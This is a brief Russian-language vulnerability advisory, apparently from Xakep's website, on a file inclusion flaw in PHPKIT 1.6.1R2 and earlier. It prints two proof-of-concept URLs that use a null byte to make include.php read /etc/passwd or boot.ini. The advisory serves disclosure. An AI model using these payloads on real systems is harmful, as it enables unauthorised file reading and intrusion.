Выполнение произвольного кода в PHPKIT

Рекомендуем почитать:

Хакер #306. OAuth от и до

• Содержание выпуска
• Подписка на «Хакер»-60%

Программа: PHPKIT <= 1.6.1R2

Возможно выполнение произвольных команд
и чтение файлов (если выключена опция
magic_quotes_gpc):

http://[target]/[path]/include.php?path=/etc/passwd%00.php
http://[target]/[path]/include.php?path=c:\boot.ini%00.php

Эксплоит